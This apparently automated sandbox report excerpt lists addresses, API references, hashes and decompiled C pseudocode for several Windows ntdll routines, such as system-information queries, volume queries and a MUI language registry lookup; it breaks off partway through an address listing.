0x6a916b92
0x6a9169b0
0x6a9169b3
0x6a9169b3
0x6a9169bc
0x6a9169bf
0x6a9169c4
0x6a971bdf
0x6a971bdf
0x00000000
0x6a9169ca
0x6a9169ca
0x6a9169ca
0x6a9169cf
0x00000000
0x00000000
0x6a9169e5
0x6a9169e9
0x6a971c0f
0x6a916b5d
0x6a916b5e
0x6a916b5f
0x00000000
0x6a916b5f
0x6a9169f2
0x6a9169f8
0x6a9169fb
0x6a916ba1
0x6a916a44
0x6a916a4d
0x6a916a52
0x6a916a57
0x6a916a5a
0x6a916a62
0x6a916a68
0x6a916a6b
0x6a916a6b
0x6a916a6e
0x6a916a74
0x6a916a77
0x6a916a7d
0x6a916a83
0x6a916a8b
0x6a916a8e
0x6a916a93
0x6a916bb3
0x6a916bc9
0x6a916bd3
0x6a916a99
0x6a916aa4
0x6a916aad
0x6a916ab7
0x6a916aba
0x6a916abe
0x6a916abf
0x6a916abf
0x6a916aad
0x6a916ac2
0x6a916ac7
0x6a916be1
0x6a916be9
0x6a916be9
0x6a916ad0
0x6a916ade
0x6a916ae3
0x6a916ae6
0x6a916ae6
0x6a916ae9
0x6a916aec
0x6a916af3
0x6a916af5
0x6a916af5
0x6a916afd
0x6a916b05
0x6a916b11
0x6a916b19
0x6a916b25
0x6a916b2d
0x6a916b3c
0x6a916b46
0x6a971bed
0x6a971bf8
0x6a971bf8
0x6a916b50
0x6a971c08
0x6a971c08
0x6a916b59
0x6a916b5b
0x00000000
0x6a916b5b
0x6a916a06
0x6a916a0b
0x6a916a0e
0x6a916a14
0x6a916a1a
0x6a916a1d
0x6a916a22
0x6a971bb9
0x6a971bc5
0x6a971bcb
0x6a971bd0
0x6a971bd3
0x6a971bd9
0x00000000
0x00000000
0x00000000
0x6a971bd9
0x6a916a2f
0x6a916a3c
0x6a916a41
0x00000000
0x6a916a41
0x00000000
0x6a9169ca
0x6a9169c4
0x6a916915
0x6a9168fa
0x6a9168dd
0x6a9168c1
0x6a9168a7
0x6a91685c
0x6a91685e
0x6a916868
0x00000000
0x6a916876
0x6a91687e
0x6a916890
0x6a916890
0x00000000
0x6a916890
0x6a916886
0x00000000
0x00000000
0x6a91688c
0x00000000
0x6a91688c
0x6a916868

APIs

RtlAllocateHeap.1105(?,00000000,?), ref: 6A9169E0
RtlEnterCriticalSection.1105(6AA079A0,?,00000000,?), ref: 6A916A06
memcpy.1105(?,?,?,6AA079A0,?,00000000,?), ref: 6A916A2F
RtlLeaveCriticalSection.1105(6AA079A0), ref: 6A916A3C
memset.1105(00000000,00000000,000002A4,6AA079A0), ref: 6A916A4D

Part of subcall function 6A916C14: memcpy.1105(?,?,?,?,00000000,00000024,?,?,6A916BCE,?,00000208,6AA079A0,?,?,6AA079A0), ref: 6A916C39
Part of subcall function 6A916C14: memset.1105(00000208,00000000,00000208,?,00000000,00000024,?,?,6A916BCE,?,00000208,6AA079A0,?,?,6AA079A0), ref: 6A916C71

RtlDeNormalizeProcessParams.1105(00000000,?,?,00000000,?,?,?,?,?,?,-00000002,?,00000208), ref: 6A971C03

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSectionmemcpymemset$AllocateEnterHeapLeaveNormalizeParamsProcess
String ID:
API String ID: 2315816726-0
Opcode ID: 14f599e3e4811a51a2309577677d3ec6988eedfee507704ac759ebc955eac9c4
Instruction ID: d50135e6329b740cc82cb5fc6063876defbfa34ce70533c205a63be840c9132c
Opcode Fuzzy Hash: 14f599e3e4811a51a2309577677d3ec6988eedfee507704ac759ebc955eac9c4
Instruction Fuzzy Hash: EFD1E271E482099FDB14CF68C8D0AAA77B4EF06318F254169EA25DB291EF34DD45CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6A9951BE, Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 173
nativememoryCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E6A9951BE(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed short* _t63;
				signed int _t64;
				signed int _t65;
				signed int _t67;
				intOrPtr _t74;
				intOrPtr _t84;
				intOrPtr _t88;
				intOrPtr _t94;
				void* _t100;
				void* _t101;
				void* _t103;
				intOrPtr _t105;
				signed int _t106;
				void* _t108;
				signed int _t110;
				void* _t113;
				int _t115;
				signed short* _t117;
				void* _t118;
				void* _t119;

				_push(0x80);
				_push(0x6a9f05f0);
				E6A96D0E8(__ebx, __edi, __esi);
				 *(_t118 - 0x80) = __edx;
				_t115 =  *(_t118 + 0xc);
				 *(_t118 - 0x7c) = _t115;
				 *((char*)(_t118 - 0x65)) = 0;
				 *((intOrPtr*)(_t118 - 0x64)) = 0;
				_t113 = 0;
				 *((intOrPtr*)(_t118 - 0x6c)) = 0;
				 *((intOrPtr*)(_t118 - 4)) = 0;
				_t100 = __ecx;
				if(_t100 == 0) {
					 *(_t118 - 0x90) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
					L6A92EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					 *((char*)(_t118 - 0x65)) = 1;
					_t63 =  *(_t118 - 0x90);
					_t101 = _t63[2];
					_t64 =  *_t63 & 0x0000ffff;
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					L20:
					_t65 = _t64 >> 1;
					L21:
					_t108 =  *(_t118 - 0x80);
					if(_t108 == 0) {
						L27:
						 *_t115 = _t65 + 1;
						_t67 = 0xc0000023;
						L28:
						 *((intOrPtr*)(_t118 - 0x64)) = _t67;
						L29:
						 *((intOrPtr*)(_t118 - 4)) = 0xfffffffe;
						E6A9953CA(0);
						return E6A96D130(0, _t113, _t115);
					}
					if(_t65 >=  *((intOrPtr*)(_t118 + 8))) {
						if(_t108 != 0 &&  *((intOrPtr*)(_t118 + 8)) >= 1) {
							 *_t108 = 0;
						}
						goto L27;
					}
					 *_t115 = _t65;
					_t115 = _t65 + _t65;
					memcpy(_t108, _t101, _t115);
					 *((short*)( *(_t118 - 0x80) + _t115)) = 0;
					_t67 = 0;
					goto L28;
				}
				_t103 = _t100 - 1;
				if(_t103 == 0) {
					_t117 =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38;
					_t74 = E6A933690(1, _t117, 0x6a8f1810, _t118 - 0x74);
					 *((intOrPtr*)(_t118 - 0x64)) = _t74;
					_t101 = _t117[2];
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					if(_t74 < 0) {
						_t64 =  *_t117 & 0x0000ffff;
						_t115 =  *(_t118 - 0x7c);
						goto L20;
					}
					_t65 = (( *(_t118 - 0x74) & 0x0000ffff) >> 1) + 1;
					_t115 =  *(_t118 - 0x7c);
					goto L21;
				}
				if(_t103 == 1) {
					_t105 = 4;
					 *((intOrPtr*)(_t118 - 0x78)) = _t105;
					 *(_t118 - 0x70) = 0;
					_push(_t118 - 0x70);
					_push(0);
					_push(0);
					_push(_t105);
					_push(_t118 - 0x78);
					_push(0x6b);
					 *((intOrPtr*)(_t118 - 0x64)) = E6A95AA90();
					 *((intOrPtr*)(_t118 - 0x64)) = 0;
					_t113 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8,  *(_t118 - 0x70));
					 *((intOrPtr*)(_t118 - 0x6c)) = _t113;
					if(_t113 != 0) {
						_push(_t118 - 0x70);
						_push( *(_t118 - 0x70));
						_push(_t113);
						_push(4);
						_push(_t118 - 0x78);
						_push(0x6b);
						_t84 = E6A95AA90();
						 *((intOrPtr*)(_t118 - 0x64)) = _t84;
						if(_t84 < 0) {
							goto L29;
						}
						_t110 = 0;
						_t106 = 0;
						while(1) {
							 *((intOrPtr*)(_t118 - 0x84)) = _t110;
							 *(_t118 - 0x88) = _t106;
							if(_t106 >= ( *(_t113 + 0xa) & 0x0000ffff)) {
								break;
							}
							_t110 = _t110 + ( *(_t106 * 0x2c + _t113 + 0x21) & 0x000000ff);
							_t106 = _t106 + 1;
						}
						_t88 = E6A99500E(_t106, _t118 - 0x3c, 0x20, _t118 - 0x8c, 0, 0, L"%u", _t110);
						_t119 = _t119 + 0x1c;
						 *((intOrPtr*)(_t118 - 0x64)) = _t88;
						if(_t88 < 0) {
							goto L29;
						}
						_t101 = _t118 - 0x3c;
						_t65 =  *((intOrPtr*)(_t118 - 0x8c)) - _t101 >> 1;
						goto L21;
					}
					_t67 = 0xc0000017;
					goto L28;
				}
				_push(0);
				_push(0x20);
				_push(_t118 - 0x60);
				_push(0x5a);
				_t94 = E6A959860();
				 *((intOrPtr*)(_t118 - 0x64)) = _t94;
				if(_t94 < 0) {
					goto L29;
				}
				if( *((intOrPtr*)(_t118 - 0x50)) == 1) {
					_t101 = L"Legacy";
					_push(6);
				} else {
					_t101 = L"UEFI";
					_push(4);
				}
				_pop(_t65);
				goto L21;
			}

0x6a9951be
0x6a9951c3
0x6a9951c8
0x6a9951cd
0x6a9951d0
0x6a9951d3
0x6a9951d8
0x6a9951db
0x6a9951de
0x6a9951e0
0x6a9951e3
0x6a9951e6
0x6a9951e8
0x6a995342
0x6a995351
0x6a995356
0x6a99535a
0x6a995360
0x6a995363
0x6a995366
0x6a995369
0x6a995369
0x6a99536b
0x6a99536b
0x6a995370
0x6a9953a3
0x6a9953a4
0x6a9953a6
0x6a9953ab
0x6a9953ab
0x6a9953ae
0x6a9953ae
0x6a9953b5
0x6a9953bf
0x6a9953bf
0x6a995375
0x6a995396
0x6a9953a0
0x6a9953a0
0x00000000
0x6a995396
0x6a995377
0x6a995379
0x6a99537f
0x6a99538c
0x6a995390
0x00000000
0x6a995390
0x6a9951ee
0x6a9951f1
0x6a995301
0x6a995310
0x6a995315
0x6a995318
0x6a99531b
0x6a995320
0x6a99532e
0x6a995331
0x00000000
0x6a995331
0x6a995328
0x6a995329
0x00000000
0x6a995329
0x6a9951fa
0x6a995235
0x6a995236
0x6a995239
0x6a99523f
0x6a995240
0x6a995241
0x6a995242
0x6a995246
0x6a995247
0x6a99524e
0x6a995251
0x6a995267
0x6a995269
0x6a99526e
0x6a99527d
0x6a99527e
0x6a995281
0x6a995282
0x6a995287
0x6a995288
0x6a99528a
0x6a99528f
0x6a995294
0x00000000
0x00000000
0x6a99529a
0x6a99529c
0x6a99529e
0x6a99529e
0x6a9952a4
0x6a9952b0
0x00000000
0x00000000
0x6a9952ba
0x6a9952bc
0x6a9952bc
0x6a9952d4
0x6a9952d9
0x6a9952dc
0x6a9952e1
0x00000000
0x00000000
0x6a9952e7
0x6a9952f4
0x00000000
0x6a9952f4
0x6a995270
0x00000000
0x6a995270
0x6a9951fc
0x6a9951fd
0x6a995202
0x6a995203
0x6a995205
0x6a99520a
0x6a99520f
0x00000000
0x00000000
0x6a99521b
0x6a995226
0x6a99522b
0x6a99521d
0x6a99521d
0x6a995222
0x6a995222
0x6a99522d
0x00000000

APIs

ZwQuerySystemInformation.1105(0000005A,?,00000020,00000000,6A9F05F0,00000080,6A985CA1,?,?,00000000,0000000E,00000000), ref: 6A995205

Part of subcall function 6A959860: LdrInitializeThunk.NTDLL(6A9A15BB,00000073,?,00000008,00000000,?,00000568), ref: 6A95986A

ZwQuerySystemInformationEx.1105(0000006B,?,00000004,00000000,00000000,?,6A9F05F0,00000080,6A985CA1,?,?,00000000,0000000E,00000000), ref: 6A995249
RtlAllocateHeap.1105(?,00000008,?,0000006B,?,00000004,00000000,00000000,?,6A9F05F0,00000080,6A985CA1,?,?,00000000,0000000E), ref: 6A995262
ZwQuerySystemInformationEx.1105(0000006B,?,00000004,00000000,?,?,?,0000006B,?,00000004,00000000,00000000,?,6A9F05F0,00000080,6A985CA1), ref: 6A99528A
RtlFindCharInUnicodeString.1105(00000001,?,6A8F1810,?,6A9F05F0,00000080,6A985CA1,?,?,00000000,0000000E,00000000), ref: 6A995310
RtlEnterCriticalSection.1105(?,6A9F05F0,00000080,6A985CA1,?,?,00000000,0000000E,00000000), ref: 6A995351
memcpy.1105(?,00000002,?,?,?,?,?,?,?,?,?,?,?,?,6A9F05F0,00000080), ref: 6A99537F

Strings

UEFI, xrefs: 6A99521D
Legacy, xrefs: 6A995226

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: InformationQuerySystem$AllocateCharCriticalEnterFindHeapInitializeSectionStringThunkUnicodememcpy
String ID: Legacy$UEFI
API String ID: 3324348579-634100481
Opcode ID: bba7d32fff37b1b4865da02ad85d43602a168211280d226d1a73245a09c1da44
Instruction ID: 95891d7ac07c65b09a8ec2b3e93f33e75e270c8733b0755d272f2ed52116d064
Opcode Fuzzy Hash: bba7d32fff37b1b4865da02ad85d43602a168211280d226d1a73245a09c1da44
Instruction Fuzzy Hash: 7F517CB1904609EFDB24CFA8C841AAEBBF8BF48305F29442DE518EB251DF71D905CB10

Uniqueness

Uniqueness Score: -1.00%

Function 6A993C93, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 141
nativeCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E6A993C93(intOrPtr __ecx, wchar_t* __edx, intOrPtr _a4) {
				intOrPtr _v8;
				signed int _v12;
				char _v16;
				char _v20;
				intOrPtr _v24;
				char _v28;
				wchar_t* _v32;
				intOrPtr _v36;
				short _v38;
				void* _v40;
				void* _v48;
				void* _v56;
				void* __ebp;
				wchar_t* _t40;
				long _t43;
				long _t67;
				signed int _t72;
				intOrPtr _t75;
				signed short _t76;
				short _t78;
				intOrPtr _t79;
				void* _t80;
				signed short* _t81;
				intOrPtr _t84;
				void* _t85;
				void* _t89;

				_v12 = _v12 & 0x00000000;
				_t81 = __edx;
				_t79 = __ecx;
				_v24 = __ecx;
				_t40 = wcschr(__edx, 0x3d);
				if(_t40 == 0) {
					L25:
					__eflags = 0;
					return 0;
				}
				 *_t40 = 0;
				_t72 =  *_t81 & 0x0000ffff;
				_t87 = _t72 - 0x53;
				if(_t72 != 0x53) {
					__eflags = _t72 - 0x4f;
					if(_t72 != 0x4f) {
						goto L25;
					}
					_t43 = wcstoul( &(_t40[0]),  &_v32, 0x10);
					_t85 = _t85 + 0xc;
					_v12 = _t43;
					__eflags = _t43;
					if(__eflags == 0) {
						goto L25;
					}
					_t67 = 1;
					L6:
					_t80 = E6A993E74(_t79, _t87);
					if(_t80 == 0) {
						goto L25;
					}
					_t75 = 0;
					_t84 = ( *(_t80 + 0x14) & 0x0000ffff) + 0x18 + _t80;
					_t89 = 0 -  *(_t80 + 6);
					while(1) {
						_v8 = _t75;
						if(_t89 >= 0) {
							break;
						}
						_t78 = 8;
						if( *((intOrPtr*)(_t84 + 0xc)) == 0 ||  *((intOrPtr*)(_t84 + 8)) == 0) {
							L23:
							_t75 = _t75 + 1;
							_t84 = _t84 + 0x28;
							_t89 = _t75 - ( *(_t80 + 6) & 0x0000ffff);
							continue;
						} else {
							if(_t67 != 0) {
								_t21 = _t75 + 1; // 0x2
								__eflags = _v12 - _t21;
								if(_v12 != _t21) {
									L21:
									__eflags = _t67;
									if(_t67 != 0) {
										goto L23;
									}
									L22:
									RtlFreeUnicodeString( &_v48);
									_t75 = _v8;
									goto L23;
								}
								L19:
								_v16 =  *((intOrPtr*)(_t84 + 8));
								_v20 =  *((intOrPtr*)(_t84 + 0xc)) + _v24;
								_push( &_v28);
								_push(_a4);
								_push( &_v16);
								_push( &_v20);
								_push(0xffffffff);
								E6A959A00();
								_push(_v28);
								_push(_v16);
								_push(_v20);
								E6A9A5720(0x55, 3, "Set 0x%X protection for %p section for %d bytes, old protection 0x%X\n", _a4);
								_t85 = _t85 + 0x1c;
								__eflags = _t67;
								if(_t67 != 0) {
									break;
								}
								_t75 = _v8;
								goto L21;
							}
							_t76 = 0;
							_v36 = _t84;
							_v38 = _t78;
							_v40 = 0;
							while( *((char*)((_t76 & 0x0000ffff) + _t84)) != 0) {
								_t76 = _t76 + 1;
								_v40 = _t76;
								if(_t76 < _t78) {
									continue;
								}
								break;
							}
							if(RtlAnsiStringToUnicodeString( &_v48,  &_v40, 1) < 0) {
								goto L25;
							}
							if(RtlCompareUnicodeString( &_v56,  &_v48, 1) == 0) {
								goto L19;
							}
							goto L22;
						}
					}
					return 1;
				}
				RtlInitUnicodeString( &_v56,  &(_t40[0]));
				_t67 = 0;
				goto L6;
			}

0x6a993c9b
0x6a993ca2
0x6a993ca4
0x6a993ca9
0x6a993cac
0x6a993cb5
0x6a993e08
0x6a993e08
0x00000000
0x6a993e08
0x6a993cbd
0x6a993cc0
0x6a993cc3
0x6a993cc6
0x6a993cd9
0x6a993cdc
0x00000000
0x00000000
0x6a993cec
0x6a993cf1
0x6a993cf4
0x6a993cf7
0x6a993cf9
0x00000000
0x00000000
0x6a993cff
0x6a993d01
0x6a993d08
0x6a993d0c
0x00000000
0x00000000
0x6a993d1b
0x6a993d1d
0x6a993d1f
0x6a993d23
0x6a993d23
0x6a993d26
0x00000000
0x00000000
0x6a993d32
0x6a993d33
0x6a993df5
0x6a993df9
0x6a993dfa
0x6a993dfd
0x00000000
0x6a993d43
0x6a993d45
0x6a993d94
0x6a993d97
0x6a993d9a
0x6a993de5
0x6a993de5
0x6a993de7
0x00000000
0x00000000
0x6a993de9
0x6a993ded
0x6a993df2
0x00000000
0x6a993df2
0x6a993d9c
0x6a993d9f
0x6a993da8
0x6a993dae
0x6a993daf
0x6a993db5
0x6a993db9
0x6a993dba
0x6a993dbc
0x6a993dc1
0x6a993dc4
0x6a993dc7
0x6a993dd6
0x6a993ddb
0x6a993dde
0x6a993de0
0x00000000
0x00000000
0x6a993de2
0x00000000
0x6a993de2
0x6a993d47
0x6a993d49
0x6a993d4c
0x6a993d50
0x6a993d54
0x6a993d5d
0x6a993d5f
0x6a993d66
0x00000000
0x00000000
0x00000000
0x6a993d66
0x6a993d79
0x00000000
0x00000000
0x6a993d90
0x00000000
0x00000000
0x00000000
0x6a993d92
0x6a993d33
0x00000000
0x6a993e04
0x6a993cd0
0x6a993cd5
0x00000000

APIs

wcschr.1105(?,0000003D,00000000,?), ref: 6A993CAC
RtlInitUnicodeString.1105(?,-00000002,00000000,?), ref: 6A993CD0
wcstoul.1105(-00000002,?,00000010,00000000,?), ref: 6A993CEC
RtlAnsiStringToUnicodeString.1105(?,?,00000001,00000000,?), ref: 6A993D72
RtlCompareUnicodeString.1105(?,?,00000001,?,?,00000001,00000000,?), ref: 6A993D89
ZwProtectVirtualMemory.1105(000000FF,?,?,00000000,?,00000000,?), ref: 6A993DBC
DbgPrintEx.1105(00000055,00000003,Set 0x%X protection for %p section for %d bytes, old protection 0x%X,00000000,?,?,?,000000FF,?,?,00000000,?,00000000,?), ref: 6A993DD6
RtlFreeUnicodeString.1105(?,00000000,?), ref: 6A993DED

Strings

Set 0x%X protection for %p section for %d bytes, old protection 0x%X, xrefs: 6A993DCD

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Unicode$AnsiCompareFreeInitMemoryPrintProtectVirtualwcschrwcstoul
String ID: Set 0x%X protection for %p section for %d bytes, old protection 0x%X
API String ID: 1186784509-1979073566
Opcode ID: 8a79f396107252c341319575bbaafc7fe2c6eae91202f747fa57dcd12e4acd0a
Instruction ID: 48975db75a6b19bb833967d48746de3966b926b4586117a8d16635b32c571918
Opcode Fuzzy Hash: 8a79f396107252c341319575bbaafc7fe2c6eae91202f747fa57dcd12e4acd0a
Instruction Fuzzy Hash: E841AE72904209BBDB10CEA4C855AEFFBFCAF18314F29402AE959A3180EF31DA41C760

Uniqueness

Uniqueness Score: -1.00%

Function 6A94F0BF, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 137
memorynativefileCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E6A94F0BF(signed short* __ecx, signed short __edx, void* __eflags, void** _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char* _v20;
				intOrPtr _v24;
				char _v28;
				char _v44;
				intOrPtr _v48;
				char _v52;
				intOrPtr _v56;
				char _v60;
				intOrPtr _v68;
				void* _v72;
				intOrPtr _v76;
				void* _t51;
				signed short _t82;
				short _t84;
				signed int _t91;
				void* _t97;
				signed int _t100;
				signed short* _t103;
				void* _t108;
				void* _t109;

				_t103 = __ecx;
				_t82 = __edx;
				_t51 = E6A934120(0, __ecx, 0,  &_v52, 0, 0, 0);
				if(_t51 >= 0) {
					_push(0x21);
					_push(3);
					_v56 =  *0x7ffe02dc;
					_v20 =  &_v52;
					_push( &_v44);
					_v28 = 0x18;
					_push( &_v28);
					_push(0x100020);
					_v24 = 0;
					_push( &_v60);
					_v16 = 0x40;
					_v12 = 0;
					_v8 = 0;
					_t108 = E6A959830();
					RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _v72);
					if(_t108 < 0) {
						L11:
						_t51 = _t108;
					} else {
						_push(4);
						_push(8);
						_push( &_v44);
						_push( &_v52);
						_push(_v68);
						_t108 = E6A959990();
						if(_t108 < 0) {
							L10:
							_push(_v68);
							E6A9595D0();
							goto L11;
						} else {
							_t109 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 0, _t82 + 0x18);
							if(_t109 == 0) {
								_t108 = 0xc0000017;
								goto L10;
							} else {
								_t21 = _t109 + 0x18; // 0x18
								_t97 = _t21;
								 *((intOrPtr*)(_t109 + 4)) = _v76;
								 *_t109 = 1;
								 *(_t109 + 0x10) = _t97;
								 *(_t109 + 0xe) = _t82;
								 *(_t109 + 8) = _v72;
								 *((intOrPtr*)(_t109 + 0x14)) = _v48;
								memcpy(_t97, _t103[2],  *_t103 & 0x0000ffff);
								 *((short*)( *(_t109 + 0x10) + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
								 *((short*)(_t109 + 0xc)) =  *_t103;
								_t91 =  *_t103 & 0x0000ffff;
								_t100 = _t91 & 0xfffffffe;
								_t84 = 0x5c;
								if( *((intOrPtr*)(_t103[2] + _t100 - 2)) != _t84) {
									if(_t91 + 4 > ( *(_t109 + 0xe) & 0x0000ffff)) {
										_push(_v76);
										E6A9595D0();
										RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t109);
										_t51 = 0xc0000106;
									} else {
										 *((short*)( *(_t109 + 0x10) + _t100)) = _t84;
										 *((short*)( *(_t109 + 0x10) + 2 + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
										 *((short*)(_t109 + 0xc)) =  *((short*)(_t109 + 0xc)) + 2;
										goto L5;
									}
								} else {
									L5:
									 *_a4 = _t109;
									_t51 = 0;
								}
							}
						}
					}
				}
				return _t51;
			}

0x6a94f0d3
0x6a94f0d9
0x6a94f0e0
0x6a94f0e7
0x6a94f0f2
0x6a94f0f4
0x6a94f0f8
0x6a94f100
0x6a94f108
0x6a94f10d
0x6a94f115
0x6a94f116
0x6a94f11f
0x6a94f123
0x6a94f124
0x6a94f12c
0x6a94f130
0x6a94f144
0x6a94f14b
0x6a94f152
0x6a98bab0
0x6a98bab0
0x6a94f158
0x6a94f158
0x6a94f15a
0x6a94f160
0x6a94f165
0x6a94f166
0x6a94f16f
0x6a94f173
0x6a98baa7
0x6a98baa7
0x6a98baab
0x00000000
0x6a94f179
0x6a94f18d
0x6a94f191
0x6a98baa2
0x00000000
0x6a94f197
0x6a94f19b
0x6a94f19b
0x6a94f1a2
0x6a94f1a9
0x6a94f1af
0x6a94f1b2
0x6a94f1b6
0x6a94f1b9
0x6a94f1c4
0x6a94f1d8
0x6a94f1df
0x6a94f1e3
0x6a94f1eb
0x6a94f1ee
0x6a94f1f4
0x6a94f20f
0x6a98bab7
0x6a98babb
0x6a98bacc
0x6a98bad1
0x6a94f215
0x6a94f218
0x6a94f226
0x6a94f22b
0x00000000
0x6a94f22b
0x6a94f1f6
0x6a94f1f6
0x6a94f1f9
0x6a94f1fb
0x6a94f1fb
0x6a94f1f4
0x6a94f191
0x6a94f173
0x6a94f152
0x6a94f203

APIs

ZwOpenFile.1105(?,?,?,00000021,00100020,?), ref: 6A94F134
RtlFreeHeap.1105(?,00000000,?,?,?,?,00000021,00100020,?), ref: 6A94F14B
ZwQueryVolumeInformationFile.1105(00000000,00000003,?,00000008,00000004,00000000,?,?,?,?,00000021,00100020,?), ref: 6A94F16A
RtlAllocateHeap.1105(?,00000000,?,00000000,00000003,?,00000008,00000004,00000000,?,?,?,?,00000021,00100020,?), ref: 6A94F188
memcpy.1105(00000018,?,00000000,00000000,?,00000000,00000003,?,00000008,00000004,00000000,?,?,?,?,00000021), ref: 6A94F1C4
ZwClose.1105(00000000,00000000,00000003,?,00000008,00000004,00000000,?,?,?,?,00000021,00100020,?), ref: 6A98BAAB
ZwClose.1105(?,?,?,?,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000,00000000,6AA079A0,6AA079A0), ref: 6A98BABB
RtlFreeHeap.1105(?,00000000,00000000,?,?,?,?,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000), ref: 6A98BACC

Strings

@, xrefs: 6A94F124

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$CloseFileFree$AllocateInformationOpenQueryVolumememcpy
String ID: @
API String ID: 3376599671-2766056989
Opcode ID: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction ID: 5b2f52178f70fe5f13e9a14e9c9e924552db5408f590d01e3c3e6787fd0dd877
Opcode Fuzzy Hash: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction Fuzzy Hash: 2A51ADB1104711AFD320CF19C841A6BBBF8FF48B14F11892DF99597691EBB4E914CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6A9CE0E9, Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 125
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E6A9CE0E9(intOrPtr __ecx, char* _a4, intOrPtr _a8) {
				signed int _v8;
				char _v12;
				signed int _v16;
				intOrPtr _v20;
				void* _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				signed int _v48;
				char _v52;
				signed int _t53;
				void* _t63;
				void* _t67;
				char* _t73;

				_v8 = _v8 & 0x00000000;
				_v16 = _v16 & 0x00000000;
				_t63 = 0;
				_v20 = __ecx;
				_v12 = 7;
				if(__ecx == 0) {
					L14:
					_t74 = 0xc000000d;
				} else {
					_t73 = _a4;
					if(_t73 == 0 || _a8 == 0) {
						goto L14;
					} else {
						RtlInitUnicodeString( &_v28, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\MUI\\Settings");
						_v52 = 0x18;
						_v44 =  &_v28;
						_v8 = 0;
						_push( &_v52);
						_push(0x20019);
						_v48 = 0;
						_push( &_v8);
						_v40 = 0x40;
						_v36 = 0;
						_v32 = 0;
						if(E6A959600() >= 0) {
							RtlInitUnicodeString( &_v28, L"PreferredUILanguages");
							_push(0);
							_t67 = E6A91F018(_v8,  &_v28,  &_v12, 0,  &_v16);
							_t74 = 0xc0000034;
							if(_t67 == 0xc0000034) {
								goto L4;
							} else {
								_t53 = _v16;
								if(_t53 == 0) {
									goto L4;
								} else {
									if(_t67 == 0x80000005) {
										_t63 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _t53 + 2);
										if(_t63 != 0) {
											_push(_t67);
											_t74 = E6A91F018(_v8,  &_v28,  &_v12, _t63,  &_v16);
											if(_t74 >= 0) {
												if(_v12 == 7 || _v12 == 1) {
													 *_t73 = 0;
													_t74 = E6A9238A4(_v20, _t63, _v16 >> 1, 8, 3, 1, _a8);
												} else {
													goto L4;
												}
											}
										} else {
											_t74 = 0xffffffffc0000017;
										}
									}
								}
							}
						} else {
							L4:
							_t74 = 0;
							 *_t73 = 1;
						}
					}
				}
				if(_v8 != 0) {
					_push(_v8);
					E6A9595D0();
				}
				if(_t63 != 0) {
					RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t63);
				}
				return _t74;
			}

0x6a9ce0f1
0x6a9ce0f7
0x6a9ce0fd
0x6a9ce0ff
0x6a9ce102
0x6a9ce10c
0x6a9ce21e
0x6a9ce21e
0x6a9ce112
0x6a9ce112
0x6a9ce117
0x00000000
0x6a9ce126
0x6a9ce12f
0x6a9ce137
0x6a9ce13e
0x6a9ce146
